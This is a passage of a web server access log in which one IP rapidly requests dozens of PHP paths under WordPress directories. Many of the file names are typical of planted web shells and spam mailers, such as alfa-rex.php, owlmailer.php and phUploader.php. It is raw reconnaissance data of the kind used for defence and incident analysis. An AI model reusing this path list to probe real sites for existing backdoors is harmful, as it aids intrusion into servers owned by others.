Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:33 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:34 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:34 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:34 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:35 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:36 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:51:37 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:51:37 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:37 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:38 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:38 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:51:38 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:38 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:39 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:39 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:39 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:39 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:39 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:40 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:40 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:40 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:40 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:40 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:41 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:41 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:51:41 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:51:42 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:42 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:42 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:42 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:42 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:43 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:43 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:51:43 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:43 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:43 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:44 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:44 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:44 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:44 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:45 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:45 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:45 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:45 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:46 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:46 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:51:46 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:47 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:47 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:51:47 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:47 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:47 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:48 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:48 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:48 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:49 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:49 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:49 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:50 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:50 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:50 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:50 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:50 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:51 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:51 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:51 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:51:51 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:51 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:52 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:52 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:52 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:53 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:54 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:51:54 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:51:54 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:55 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:55 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:55 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:51:55 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:55 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:56 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:56 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:56 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:56 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:57 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:58 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:58 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 